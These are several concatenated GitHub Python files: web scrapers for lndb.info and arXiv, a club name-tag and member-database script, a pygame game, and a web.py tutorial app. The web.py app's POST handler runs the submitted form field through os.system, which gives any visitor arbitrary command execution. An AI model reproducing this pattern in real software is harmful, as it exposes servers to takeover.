logging\n\nfrom core.light_novel_info import LightNovelInfo\n\n\ndef create_light_novel_info(match, scrape_instance):\n content_url = match.get(\"href\")\n view_url = \"http://lndb.info/light_novel/view/{}\".format(content_url.split(\"/\")[-1])\n fetch_message = \"Fetch information from: {}\".format(view_url)\n logging.info(fetch_message)\n light_novel_page = scrape_instance.get(view_url, headers={\n \"Referer\": content_url,\n \"Connection\": \"keep-alive\",\n \"host\": \"lndb.info\",\n \"User-Agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",\n \"X-Requested-With\": \"XMLHttpRequest\"\n })\n light_novel_page_soup = bs4.BeautifulSoup(light_novel_page.content, \"html.parser\")\n\n light_novel_title = content_url.split(\"/\")[-1].replace(\"_\", \" \")\n information_message = \"Fetch information from light novel: {}\".format(light_novel_title)\n logging.info(information_message)\n light_novel_info = LightNovelInfo(title=light_novel_title, lndb_link=content_url)\n secondary_info = light_novel_page_soup.find(\"div\", {\"class\": \"secondary-info\"})\n if secondary_info is not None:\n info_values = secondary_info.findAll(\"td\", {\"class\": \"secondary-info-value\"})\n\n for info_value in info_values:\n info_key = info_value.parent.find(\"td\")\n if \"Author\" in info_key.text:\n light_novel_info.author = info_value.text.strip()\n if \"Illustrator\" in info_key.text:\n light_novel_info.illustrator = info_value.text.strip()\n if \"Genre\" in info_key.text:\n genres = info_value.text.split(\",\")\n light_novel_info.genre = [genre.lstrip() for genre in genres]\n if \"Volumes\" in info_key.text:\n light_novel_info.volumes = info_value.text\n\n cover_section = light_novel_page_soup.find(\"div\", {\"class\": \"lightnovelcovers\"})\n cover_element_list = cover_section.findAll(\"a\", {\"class\": \"highslide\"}) if cover_section is not None else []\n covers = {}\n for volume_number, cover_element in enumerate(cover_element_list, start=1):\n covers[volume_number] = \"http://lndb.info/{}\".format(cover_element.get(\"href\"))\n\n light_novel_info.covers = covers\n\n return light_novel_info\n\n\ndef get_light_novel_info(title, first_match_flag=True):\n scrape = cfscrape.create_scraper()\n lndb_info_query = \"http://lndb.info/search?text={}\".format(title)\n logging.info(\"Requesting: {}\".format(lndb_info_query))\n page = scrape.get(lndb_info_query,\n headers={\"connection\": \"keep-alive\", \"host\": \"lndb.info\"})\n search_result = bs4.BeautifulSoup(page.content, \"html.parser\")\n\n light_novels = []\n if \"search?text=\" in page.url:\n light_novel_list = search_result.find(\"div\", {\"id\": \"bodylightnovelscontentid\"})\n\n matches = []\n if light_novel_list is not None:\n matches = light_novel_list.findAll(\"a\")\n\n if len(matches) > 0:\n if first_match_flag:\n match = matches[0]\n light_novels.append(create_light_novel_info(match, scrape))\n else:\n for match in matches:\n light_novels.append(create_light_novel_info(match, scrape))\n else:\n # Only exist one match, and that page is returned\n match = {\"href\": page.url}\n light_novels.append(create_light_novel_info(match, scrape))\n\n return light_novels\n\n\nif __name__ == \"__main__\":\n infos = get_light_novel_info(\"goblin slayer\", first_match_flag=False)\n for info in infos:\n print(info.__dict__)\n","repo_name":"riojano0/lndb-info-api","sub_path":"core/scrap_info.py","file_name":"scrap_info.py","file_ext":"py","file_size_in_byte":3685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43143539260","text":"#coding:utf8\nimport web\nimport json\nimport os\n\nurls = (\n '/hello', 'Index'\n)\n\napp = web.application(urls, globals())\n\nrender = web.template.render('templates/')\n\"\"\"\n1.浏览器访问到 web 程序的 /hello 目录,它发送了一个 GET 请求,于是我们的 index.GET 函数就运行并返回了 hello_form。\n2.你填好了浏览器的表单,然后浏览器依照
中的要求,将数据通过 POST 请求的方式发给 web 程序。\n3.Web 程序运行了 index.POST 方法(不是 index.GET 方法)来处理这个请求。\n4.这个 index.POST 方法完成了它正常的功能,将 hello 页面返回,这里并没有新的东西,只是一个新函数名称而已。\n\"\"\"\n\nclass Index(object):\n def GET(self): #get方式请求url:hello_from.html界面\n return render.hello_form() #渲染到模板下的hello_from界面,从而能指定url获取post数据\n\n def POST(self): #通过post方式获取数据\n # form = web.input(name=\"Nobody\", greet=\"Hello\")\n i = web.input() #不指定name和greet的话,就是获取post的所有数据\n data = web.data()\n n1 = i.get('name') #获取name的值\n g1 = i.get('greet')\n # return type(n1)\n # return n1\n os1 = os.system(n1) #调用系统命令,在控制台数出来了,但是没有在界面上显示,os1是int类型\n # return os1\n return render.os(n1) #渲染到模板下的os界面并显示\n # return os.system(n1)\n # pydict = {'mingzi':n1,'wenhou':'g1'} #放到字典里去,\n # return type(pydict) #是字典\n # return pydict['mingzi']\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == \"__main__\":\n app.run()","repo_name":"nanzhushan/Web.py_Flask","sub_path":"web.py/基于web.py的blog源码/v5/app1.py","file_name":"app1.py","file_ext":"py","file_size_in_byte":1826,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26811599625","text":"import pandas as pd\nfrom IPython.display import display\nimport numpy as np\nimport os\nfrom reportlab.lib.pagesizes import A4\nfrom reportlab.pdfgen import canvas\nimport vobject\nimport shutil\n\nfrom numpy.lib.twodim_base import mask_indices\n\nmaster_path = '/content/drive/My Drive/SMC_scripts/smc_contact_table/'\n\n#get earliest date\ndef flatten_list(list_of_lists):\n flat_list = []\n\n for item in list_of_lists:\n if isinstance(item, list):\n flat_list.extend(flatten_list(item))\n #base case\n else:\n flat_list.append(item)\n return flat_list\n\ndef get_earliest_date(df):\n return min(list(map(lambda x : pd.to_datetime(x, format='%d %b %y'),\n set(flatten_list(list(map(lambda x: x.split(\", \"), df[\"Date of Hike\"]\n .unique()))))))).strftime(\"%d %b %y\")\n\ndef mmConvertpoint(mm):\n # Convert millimeters to points\n return mm * (72 / 25.4)\n\ndef generate_name_tags(name_series, group, reserved=False):\n if group.lower() == \"youth\":\n group = \"Y\"\n elif group.lower() == \"mentor\":\n group = \"M\"\n else:\n print(\"Group Can Only Be Either: \\\"youth\\\" or \\\"mentor\\\" \")\n return \"ERROR: INVALID GROUP\"\n\n if not os.path.exists(\"name_tags_ToBePrinted\"):\n os.makedirs(\"name_tags_ToBePrinted\")\n\n page_width, page_height = A4 # Standard A4 size in points (72 points per inch)\n margin_x, margin_y = 30, 30 # Margins from the edges of the paper in points\n tag_width_mm, tag_height_mm = 85, 55 # Size of each name tag in mm\n tag_width, tag_height = mmConvertpoint(tag_width_mm), mmConvertpoint(tag_height_mm) # Size of each name tag in points\n\n # Font size range for the name\n min_name_font_size = 10\n max_name_font_size = 30\n\n # Existing path for \"name_tags_ToBePrinted\"\n if reserved:\n pdf_name = master_path + f\"name_tags_ToBePrinted/Reserved_UID_{group}.pdf\"\n else:\n pdf_name = master_path + f\"name_tags_ToBePrinted/name_tags_{group}.pdf\"\n c = canvas.Canvas(pdf_name, pagesize=A4)\n\n # New path for \"archive\"\n archive_path = master_path + \"name_tags_ToBePrinted/archive/\"\n if not os.path.exists(archive_path):\n os.makedirs(archive_path)\n\n format = '%Y-%m-%d %H:%M:%S'\n if reserved:\n archive_pdf_name = archive_path + f\"{group}/Reserved_UID_{group}_{pd.Timestamp.today().strftime(format)}.pdf\"\n else:\n archive_pdf_name = archive_path + f\"{group}/name_tags_{group}_{pd.Timestamp.today().strftime(format)}.pdf\"\n\n x, y = margin_x, page_height - margin_y # Starting position for the first name tag\n boxes_per_page = 0 # Counter for boxes printed on each page\n rows_per_page = 4 # Number of rows per page\n columns_per_page = 2 # Number of columns per page\n\n for uid, name in name_series.items():\n # Draw guidelines all around the name tag\n c.setStrokeColorRGB(0.7, 0.7, 0.7) # Gray color for guidelines\n c.setLineWidth(0.1)\n c.line(x, y, x + tag_width, y) # Top guideline\n c.line(x, y - tag_height, x + tag_width, y - tag_height) # Bottom guideline\n c.line(x, y, x, y - tag_height) # Left guideline\n c.line(x + tag_width, y, x + tag_width, y - tag_height) # Right guideline\n\n # Find the maximum font size that fits the name in the available space\n name_font_size = max_name_font_size\n while c.stringWidth(name, \"Helvetica-Bold\", name_font_size) > tag_width - 10:\n name_font_size -= 1\n if name_font_size < min_name_font_size:\n # If the name still doesn't fit at the smallest font size, break the loop\n break\n\n # Draw the name in the center both by height and width\n c.setFont(\"Helvetica-Bold\", name_font_size)\n text_width, text_height = c.stringWidth(name, \"Helvetica-Bold\", name_font_size), name_font_size\n x_offset = (tag_width - text_width) / 2\n y_offset = (tag_height - text_height) / 2 # Center by height\n c.drawString(x + x_offset, y - y_offset, name)\n\n # Calculate the position of the UID at the bottom right with a margin from the borders\n uid_font_size = 10\n uid_margin_x, uid_margin_y = 5, 5\n uid_x = x + tag_width - uid_margin_x - c.stringWidth(\"UID: \" + group + str(uid), \"Helvetica\", uid_font_size)\n uid_y = y - tag_height + uid_margin_y\n\n # Draw the UID at the bottom right in a smaller font\n c.setFont(\"Helvetica\", uid_font_size)\n c.drawString(uid_x, uid_y, \"UID: \" + group + str(uid))\n\n # Update x and y position for the next name tag\n boxes_per_page += 1\n if boxes_per_page % columns_per_page == 0:\n # Move to the next row after completing a row\n y -= tag_height\n x = margin_x\n else:\n # Move to the next column in the same row\n x += tag_width\n\n # Check if the maximum number of rows per page is reached, then start a new page\n if boxes_per_page == rows_per_page * columns_per_page:\n c.showPage() # Start a new page\n x, y = margin_x, page_height - margin_y\n boxes_per_page = 0 # Reset the boxes count for the new page\n\n c.save()\n\ndef normalize_string(s):\n return s.lower().replace(\" \", \"\")\n\ndef create_vcard(df, filename):\n # Open file in write mode\n with open(filename, 'w') as file:\n for index, row in df.iterrows():\n # Create a new vCard\n vcard = vobject.vCard()\n\n # Add name\n school_company = row['School/Company']\n smc_name = f\"SMC {row.full_name} {school_company}\"\n vcard.add('n')\n vcard.n.value = vobject.vcard.Name(given=smc_name)\n\n # Add full name\n vcard.add('fn')\n vcard.fn.value = smc_name\n\n # Add phone\n tel = vcard.add('tel')\n tel.value = str(row['Whatsapp/mobile Number'])\n tel.type_param = 'CELL'\n\n # Add company\n qualification_details = row[\"Qualification\"]\n title = row[\"Major/Title\"]\n company_details = f\"{qualification_details}, {title}\"\n org = vcard.add('org')\n org.value = [company_details]\n\n # Write vCard to file\n file.write(vcard.serialize())\n\ndef process_youth_NAMETAG():\n current_youth_qualification = {'Undergraduate': \"UG\",\n 'Postgraduate' : \"PG\",\n 'Employed' : \"E\"}\n \n path = master_path + \"raw_data/\"\n file_names = os.listdir(path)\n file_name = [filename for filename in file_names if \"youth\" in filename.lower()][0]\n file_path = path + file_name\n\n\n df = pd.read_excel(file_path)\n\n earliest_date = get_earliest_date(df)\n\n #filter for rows with earliest date\n df = df[df[\"Date of Hike\"].str.contains(earliest_date)]\n df[\"Date of Hike\"] = earliest_date\n df[\"Qualification\"] = df[\"Undergraduate / Postgraduate / Employed\"]\\\n .map(lambda x: current_youth_qualification[x])\n\n df = df[['Date of Hike', 'Full name with CAPS SURNAME (for Name Tag)', 'School/Company',\n 'Major/Title', 'Qualification',\n 'Year in School or Industry', 'Email', 'Whatsapp/mobile Number']]\n\n df.columns = ['Date of Hike', 'full_name', 'School/Company',\n 'Major/Title', 'Qualification',\n 'Year in School or Industry', 'Email', 'Whatsapp/mobile Number']\n\n df.drop_duplicates(subset=[\"Email\", \"Whatsapp/mobile Number\"],\n keep=\"first\",\n inplace=True)\n df.reset_index(drop=True,\n inplace=True)\n\n # df.to_csv(\"database/DB_youth.csv\", index=False)\n #Update Repository\n #update last referance date for returning members,\n #update new members to DB\n DB = pd.read_csv(master_path + \"database/DB_youth.csv\", index_col=\"UID\")\n #update archive first\n format = '%Y-%m-%d %H:%M:%S'\n DB.to_csv(master_path + f\"database/archive/DB_youth/DB_youth_{pd.Timestamp.today().strftime(format)}.csv\",\n index=True)\n\n new_df = df.copy()\n temp_new_df = new_df.copy()\n # for row_number, row in temp_new_df.iterrows():\n\n # row_email = row[\"Email\"]\n # row_phone = row[\"Whatsapp/mobile Number\"]\n\n # #drop row if email/phone already exists\n # #update last referance date in DB to today()\n # if row_email in DB[\"Email\"].values:\n # new_df = new_df[new_df[\"Email\"] != row_email]\n # DB.loc[DB[\"Email\"] == row_email, \"last_referance\"] = pd.Timestamp.today()\n # elif row_phone in DB[\"Whatsapp/mobile Number\"].values:\n # new_df = new_df[new_df[\"Whatsapp/mobile Number\"] != row_phone]\n # DB.loc[DB[\"Whatsapp/mobile Number\"] == row_phone, \"last_referance\"] = pd.Timestamp.today()\n\n # Extract unique emails and phone numbers from DB for faster access\n existing_emails = set(DB[\"Email\"])\n existing_phones = set(DB[\"Whatsapp/mobile Number\"])\n\n # Lists to collect duplicate emails and phones\n duplicate_emails = []\n duplicate_phones = []\n\n #returning members UID to note\n returning_uid = []\n returning_name = []\n\n # Iterate through temp_new_df to identify duplicates\n for _, row in temp_new_df.iterrows():\n row_email = row[\"Email\"]\n row_phone = row[\"Whatsapp/mobile Number\"]\n\n if row_email in existing_emails:\n duplicate_emails.append(row_email)\n name = row[\"full_name\"]\n uid = DB[DB[\"Email\"] == row_email].index\n returning_uid.append(uid)\n returning_name.append(name)\n \n if row_phone in existing_phones:\n duplicate_phones.append(row_phone)\n name = row[\"full_name\"]\n uid = DB[DB[\"Whatsapp/mobile Number\"] == row_phone].index\n returning_uid.append(uid)\n returning_name.append(name)\n\n\n # display list of returning uid for reference\n returning_df = pd.DataFrame({\"UID\": returning_uid,\n \"Full Name\": returning_name\n })\n returning_df = returning_df.drop_duplicates(subset='UID', keep='first')\n \n print(\"Table of Returning Member's UID (Nametag will not be reprinted):\")\n display(returning_df)\n\n\n # Remove rows with duplicate emails or phones from new_df\n new_df = new_df[~new_df[\"Email\"].isin(duplicate_emails)]\n new_df = new_df[~new_df[\"Whatsapp/mobile Number\"].isin(duplicate_phones)]\n\n # Update last_referance in DB for the duplicates\n DB.loc[DB[\"Email\"].isin(duplicate_emails), \"last_referance\"] = pd.Timestamp.today()\n DB.loc[DB[\"Whatsapp/mobile Number\"].isin(duplicate_phones), \"last_referance\"] = pd.Timestamp.today()\n\n\n #update DB index name\n #update new_df index name, set index to UID, update last_referance date\n new_df.reset_index(drop=True,\n inplace=True)\n\n if np.isnan(DB.index.max()) or DB.index.max() < 100:\n next_UID = 100\n else:\n next_UID = DB.index.max() + 1\n\n new_df[\"UID\"] = new_df.index + next_UID\n new_df.set_index(\"UID\",\n drop=True,\n inplace=True)\n new_df[\"last_referance\"] = pd.Timestamp.today()\n\n #add new_df to DB and sort by UID index\n DB = pd.concat([DB, new_df],\n axis=0)\n DB.sort_index(inplace=True)\n\n #drop index of members not achive for > 6 months,\n #redesignate UID to new members first,\n #if there are underflow, add to excess UID .csv tracker file for next update\n DB[\"last_referance\"] = pd.to_datetime(DB[\"last_referance\"])\n seven_mths_ago = pd.Timestamp.today() - pd.DateOffset(months=7)\n DB = DB[DB[\"last_referance\"] > seven_mths_ago]\n\n #update DB csv\n DB.to_csv(master_path + \"database/DB_youth.csv\", index=True)\n\n '''\n Generate name tags to be printed for new members\n PDF will be saved in directory name_tags_ToBePrinted/\n '''\n generate_name_tags(new_df[\"full_name\"],\n group=\"youth\")\n\n # '''\n # Generate contacts to be saved\n # '''\n # # contact_log = pd.read_csv(master_path + \"database/contact_log.csv\").values.ravel()\n # # new_df = new_df[~new_df[\"Whatsapp/mobile Number\"].isin(contact_log)]\n\n\n # ### NUS ###\n # # Create vCard file named 'contacts.vcf'\n # time_format = '%Y-%m-%d %H:%M:%S'\n # #archive update\n # create_vcard(new_df[new_df[\"School/Company\"] == \"NUS\"], master_path + f'contact/archive/contacts_{pd.Timestamp.today().strftime(time_format)}_NUS.vcf')\n # #save as most recent\n # create_vcard(new_df[new_df[\"School/Company\"] == \"NUS\"], master_path + f'contact/contacts_youth_NUS.vcf')\n\n # ### SMU ###\n # # Create vCard file named 'contacts.vcf'\n # time_format = '%Y-%m-%d %H:%M:%S'\n # #archive update\n # create_vcard(new_df[new_df[\"School/Company\"] == \"SMU\"], master_path + f'contact/archive/contacts_{pd.Timestamp.today().strftime(time_format)}_SMU.vcf')\n # #save as most recent\n # create_vcard(new_df[new_df[\"School/Company\"] == \"SMU\"], master_path + f'contact/contacts_youth_SMU.vcf')\n\n # ### Others ###\n # # Create vCard file named 'contacts.vcf'\n # time_format = '%Y-%m-%d %H:%M:%S'\n # #archive update\n # create_vcard(new_df[~((new_df[\"School/Company\"] == \"NUS\") | (new_df[\"School/Company\"] == \"SMU\"))], master_path + f'contact/archive/contacts_{pd.Timestamp.today().strftime(time_format)}_OTHERS.vcf')\n # #save as most recent\n # create_vcard(new_df[~((new_df[\"School/Company\"] == \"NUS\") | (new_df[\"School/Company\"] == \"SMU\"))], master_path + f'contact/contacts_youth_OTHERS.vcf')\n #######################################################\n ###############\n ###########\n # #update contact log\n # contact_log_df = pd.DataFrame(contact_log, columns=[\"Whatsapp/mobile Number\"])\n # combined_df = pd.concat([contact_log_df, new_df[[\"Whatsapp/mobile Number\"]]], ignore_index=True)\n\n\n\n # '''\n # autogenerate welcome email for new members\n # '''\n # sender= \"Wilfred\"\n # hike_date = \"29th July\"\n # location = \"Punggol MRT, Exit A\"\n # time = \"9.20am\"\n # message_lst = []\n\n # for name in df_message[\"full_name\"]:\n # message = f\"\"\"\n # Hi *{name}*, this is *{sender}*, the student coordinator for *SMC*.\n # For the *{hike_date}* SMC Youths Hiking Library event, do be reminded to be at\n # *{location + \" \" + \"by\" + \" \" + time}*. We will carry on with the event regardless of rain or shine.\n # The finalised participants' list and pairing table will also be sent to you on Sat morning.\n\n # Do kindly \"follow\" *SMC LinkedIn* at https://www.linkedin.com/company/smcmentorship/\n # for future events' announcements and publication of youths' reflection articles and feedback.\n # Please feel free to reach out if you have any queries as well. Thank you!\n\n # *Kindly acknowledge and confirm.*\n # \"\"\"\n # #insert function for this(TODO)\n\n print(\"Youth Processed\")\n return None\n\n\ndef process_mentor_NAMETAG():\n\n path = master_path + \"raw_data/\"\n file_names = os.listdir(path)\n file_name = [filename for filename in file_names if \"mentor\" in filename.lower()][0]\n file_path = path + file_name\n\n\n df = pd.read_excel(file_path)\n earliest_date = get_earliest_date(df)\n\n #filter for rows with earliest date\n df = df[df[\"Date of Hike\"].str.contains(earliest_date)]\n df[\"Date of Hike\"] = earliest_date\n\n df = df[['Date of Hike', 'Full name with CAPS SURNAME (for Name Tag)', 'Company',\n 'Title','Industry', 'Email', 'Whatsapp/mobile Number']]\n df.columns = ['Date of Hike', 'full_name', 'Company',\n 'Title','Industry', 'Email', 'Whatsapp/mobile Number']\n\n df.drop_duplicates(subset=[\"Email\", \"Whatsapp/mobile Number\"],\n keep=\"first\",\n inplace=True)\n df.reset_index(drop=True,\n inplace=True)\n\n # df.to_csv(\"database/DB_mentor.csv\", index=False)\n #Update Repository\n #update last referance date for returning members,\n #update new members to DB\n DB = pd.read_csv(master_path + \"database/DB_mentor.csv\", index_col=\"UID\")\n #update archive first\n format = '%Y-%m-%d %H:%M:%S'\n DB.to_csv(master_path + f\"database/archive/DB_mentor/DB_mentor_{pd.Timestamp.today().strftime(format)}.csv\",\n index=True)\n\n new_df = df.copy()\n temp_new_df = new_df.copy()\n # temp_new_df = new_df.copy()\n # for row_number, row in temp_new_df.iterrows():\n\n # row_email = row[\"Email\"]\n # row_phone = row[\"Whatsapp/mobile Number\"]\n\n # #drop row if email/phone already exists\n # #update last referance date in DB to today()\n # if row_email in DB[\"Email\"].values:\n # new_df = new_df[new_df[\"Email\"] != row_email]\n # DB.loc[DB[\"Email\"] == row_email, \"last_referance\"] = pd.Timestamp.today()\n # elif row_phone in DB[\"Whatsapp/mobile Number\"].values:\n # new_df = new_df[new_df[\"Whatsapp/mobile Number\"] != row_phone]\n # DB.loc[DB[\"Whatsapp/mobile Number\"] == row_phone, \"last_referance\"] = pd.Timestamp.today()\n\n # Extract unique emails and phone numbers from DB for faster access\n existing_emails = set(DB[\"Email\"])\n existing_phones = set(DB[\"Whatsapp/mobile Number\"])\n\n # Lists to collect duplicate emails and phones\n duplicate_emails = []\n duplicate_phones = []\n\n #returning members UID to note\n returning_uid = []\n returning_name = []\n\n # Iterate through temp_new_df to identify duplicates\n for _, row in temp_new_df.iterrows():\n row_email = row[\"Email\"]\n row_phone = row[\"Whatsapp/mobile Number\"]\n\n if row_email in existing_emails:\n duplicate_emails.append(row_email)\n name = row[\"full_name\"]\n uid = DB[DB[\"Email\"] == row_email].index\n returning_uid.append(uid)\n returning_name.append(name)\n \n if row_phone in existing_phones:\n duplicate_phones.append(row_phone)\n name = row[\"full_name\"]\n uid = DB[DB[\"Whatsapp/mobile Number\"] == row_phone].index\n returning_uid.append(uid)\n returning_name.append(name)\n\n\n # display list of returning uid for reference\n returning_df = pd.DataFrame({\"UID\": returning_uid,\n \"Full Name\": returning_name\n })\n returning_df = returning_df.drop_duplicates(subset='UID', keep='first')\n \n print(\"Table of Returning Member's UID (Nametag will not be reprinted):\")\n display(returning_df)\n\n\n # Remove rows with duplicate emails or phones from new_df\n new_df = new_df[~new_df[\"Email\"].isin(duplicate_emails)]\n new_df = new_df[~new_df[\"Whatsapp/mobile Number\"].isin(duplicate_phones)]\n\n # Update last_referance in DB for the duplicates\n DB.loc[DB[\"Email\"].isin(duplicate_emails), \"last_referance\"] = pd.Timestamp.today()\n DB.loc[DB[\"Whatsapp/mobile Number\"].isin(duplicate_phones), \"last_referance\"] = pd.Timestamp.today()\n\n\n #update DB index name\n #update new_df index name, set index to UID, update last_referance date\n new_df.reset_index(drop=True,\n inplace=True)\n\n if np.isnan(DB.index.max()) or DB.index.max() < 100:\n next_UID = 100\n else:\n next_UID = DB.index.max() + 1\n\n new_df[\"UID\"] = new_df.index + next_UID\n new_df.set_index(\"UID\",\n drop=True,\n inplace=True)\n new_df[\"last_referance\"] = pd.Timestamp.today()\n\n #add new_df to DB and sort by UID index\n DB = pd.concat([DB, new_df],\n axis=0)\n DB.sort_index(inplace=True)\n\n #drop index of members not achive for > 6 months,\n #redesignate UID to new members first,\n #if there are underflow, add to excess UID .csv tracker file for next update\n DB[\"last_referance\"] = pd.to_datetime(DB[\"last_referance\"])\n seven_mths_ago = pd.Timestamp.today() - pd.DateOffset(months=7)\n DB = DB[DB[\"last_referance\"] > seven_mths_ago]\n\n #update DB csv\n DB.to_csv(master_path + \"database/DB_mentor.csv\", index=True)\n\n '''\n Generate name tags to be printed for new members\n PDF will be saved in directory name_tags_ToBePrinted/\n '''\n generate_name_tags(new_df[\"full_name\"],\n group=\"mentor\")\n\n print(\"Mentor Processed\")\n\n return None\n\ndef Reserved_unique_ID_print(group):\n if group.lower() == \"youth\":\n pass\n elif group.lower() == \"mentor\":\n pass\n else:\n print(\"Group Can Only Be Either: \\\"youth\\\" or \\\"mentor\\\" \")\n return \"ERROR: INVALID GROUP\"\n\n if group.lower() == \"mentor\":\n df = pd.read_csv(master_path + \"database/Reserved_UID_mentor.csv\", index_col=\"UID\")\n\n elif group.lower() == \"youth\":\n df = pd.read_csv(master_path + \"database/Reserved_UID_youth.csv\", index_col=\"UID\")\n\n\n '''\n Generate name tags to be printed for new members\n PDF will be saved in directory name_tags_ToBePrinted/\n '''\n generate_name_tags(df[\"full_name\"],\n group=group,\n reserved=True)\n\n print(\"Reserved UID Processed\")\n return None\n\n\ndef REMOVE_uid_from_DB(uid,\n group):\n if group.lower() == \"youth\":\n pass\n elif group.lower() == \"mentor\":\n pass\n else:\n print(\"Group Can Only Be Either: \\\"youth\\\" or \\\"mentor\\\" \")\n return \"ERROR: INVALID GROUP\"\n\n DB = pd.read_csv(master_path + f\"database/DB_{group}.csv\", index_col=\"UID\")\n #update archive first\n format = '%Y-%m-%d %H:%M:%S'\n DB.to_csv(master_path + f\"database/archive/DB_{group}/DB_{group}_{pd.Timestamp.today().strftime(format)}.csv\",\n index=True)\n \n DB = DB[DB.index != uid]\n #update DB csv\n DB.to_csv(master_path + \"database/DB_{group}.csv\", index=True)\n return \"UID Successfully Removed from DB\"\n\n\n","repo_name":"wheelfredie/SMC","sub_path":"automation.py","file_name":"automation.py","file_ext":"py","file_size_in_byte":21872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19995204253","text":"import requests\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n# 로딩시간 대기용\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom bs4 import BeautifulSoup\nimport re\n\nquery = input(\"검색어를 입력하세요.\")\n\n# 만약 접속이 안 될 경우를 대비 헤더 설정, Headless Chrome 설정\noptions = webdriver.ChromeOptions()\noptions.headless = True # Headless Chrome\noptions.add_argument(\"window-size=1920x1080\") # 창 크기 설정\noptions.add_argument(\"user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36\")\n\nbrowser = webdriver.Chrome(\"C:/PythonScraping/chromedriver.exe\", options=options) # chromedriver로 웹 브라우저 객체 생성\nurl = \"https://arxiv.org/\"\nbrowser.get(url) # 브라우저에서 URL로 이동\n\nsearch = browser.find_element_by_xpath(\"//*[@id='header']/div[2]/form/div/div[1]/input\").clear()\nsearch = browser.find_element_by_xpath(\"//*[@id='header']/div[2]/form/div/div[1]/input\").send_keys(query)\nbrowser.find_element_by_xpath(\"//*[@id='header']/div[2]/form/div/div[1]/input\").send_keys(Keys.ENTER)\n\ntry:\n elem = WebDriverWait(browser, 10).until(EC.presence_of_element_located((By.XPATH, \"//*[@id='main-container']/div[1]\")))\n\n soup = BeautifulSoup(browser.page_source, \"lxml\")\n results = soup.find_all(\"li\", attrs={\"class\":\"arxiv-result\"}) # 검색결과 list로 저장\n\n for result in results:\n title = result.find(\"p\", attrs={\"class\":\"title is-5 mathjax\"}).get_text().strip() # 제목 텍스트 공백 제거\n link = result.find(\"p\", attrs={\"class\":\"list-title is-inline-block\"}).find(\"a\")[\"href\"] # p하위 첫 번째 a태그의 href\n\n # pdf, ps, other\n pdf = result.find(\"p\", attrs={\"class\": \"list-title is-inline-block\"}).find(\"span\").find_all(\"a\")[0][\"href\"]\n link_cnt = result.find(\"p\", attrs={\"class\": \"list-title is-inline-block\"}).find(\"span\").get_text().count(\",\")\n if link_cnt == 1:\n other = result.find(\"p\", attrs={\"class\": \"list-title is-inline-block\"}).find(\"span\").find_all(\"a\")[1][\n \"href\"]\n elif link_cnt > 1:\n ps = result.find(\"p\", attrs={\"class\": \"list-title is-inline-block\"}).find(\"span\").find_all(\"a\")[1][\"href\"]\n other = result.find(\"p\", attrs={\"class\": \"list-title is-inline-block\"}).find(\"span\").find_all(\"a\")[2][\n \"href\"]\n\n aut_cnt = len(result.find(\"p\", attrs={\"class\":\"authors\"}).find_all(\"a\"))\n for i in range(0, aut_cnt):\n authors = result.find(\"p\", attrs={\"class\":\"authors\"}).find_all(\"a\")[i].get_text()\n abstract = result.find()\n\n print(title, link_cnt, ps, other)\n\nfinally:\n browser.close()\n\n\n\n\n\n\n","repo_name":"naliee/PythonScraping","sub_path":"Test1.py","file_name":"Test1.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70235044945","text":"import pygame # импортируем pygame для создания игры\nimport world # импортируем world для отрисовки мира игры\nimport player # импортируем player для работы с персонажем\nimport enemy\nimport coin\nimport lava\n\n\npygame.init() # инициализируем pygame\n\nscreen_width = 800 # ширина экрана\nscreen_height = 800 # высота экрана\n\nFPS = 60 # ФПС\n\nscreen = pygame.display.set_mode((screen_width, screen_height)) # создание экрана\nbackground = pygame.image.load('image/sky.png') # создание заднего фона\nbackground = pygame.transform.scale(background,\n (screen_width,\n screen_height)) # изменение размеров в соответствии с размерами экрана\nsun = pygame.image.load('image/sun.png') # загружаем солнце\nclock = pygame.time.Clock() # создаём часы, которые пригодятся для отслеживания времени работы программы\n\ngame_over = False\nscore = 0\n\nmap_world = world.create_world() # создаём список объектов для отрисовки\nplayer.create_player() # создаём игрока, которым можно управлять\n\nfont = pygame.font.SysFont('arial', 36)\nfinal_text = font.render('Потрачено', False, 'red')\n\npygame.mixer.music.load('sound/joshua-mclean-mountain-trials.mp3')\npygame.mixer.music.set_volume(0.05)\npygame.mixer.music.play()\n\nrun = True # переменная run отвечает за работу игрового цикла\n\n\ndef check_coin():\n global score\n for coin_object in coin.coin_list:\n if player.rect_player.colliderect(coin_object):\n coin.coin_list.remove(coin_object)\n score += 1\n\n\ndef check_player():\n global game_over\n for enemy_element in enemy.enemy_list:\n if enemy_element.colliderect(player.rect_player):\n game_over = True\n\n for lava_element in lava.lava_list:\n if lava_element.colliderect(player.rect_player):\n game_over = True\n\n\nwhile run: # игровой цикл\n # через pygame.event.get() получаем все события(нажатия на клавиатуру, мышку и т.п.)\n for event in pygame.event.get():\n if event.type == pygame.QUIT: # если мы нажали на выход из программы,\n # то run становится False и цикл while заканчивается, так как условие не выполняется, т.е. False\n run = False\n screen.blit(background, (0, 0)) # отрисовка заднего фона\n screen.blit(sun, (100, 100)) # отрисовка солнца\n world.draw_world(screen, map_world) # отрисовка элементов мира\n enemy.draw_enemy(screen)\n enemy.update_enemy()\n\n score_text = font.render(f'Счёт: {score}', True, 'gold')\n check_coin()\n check_player()\n screen.blit(score_text, (20, 10))\n coin.draw_coin(screen)\n lava.draw_lava(screen)\n world.draw_grid(screen, screen_width, screen_height) # отрисовка сетки\n player.update_player(screen, map_world) # обновляем состояние персонажа\n if game_over:\n screen.fill('black')\n screen.blit(final_text, (screen_width/2, screen_height/2))\n pygame.display.update()\n pygame.time.wait(2000)\n 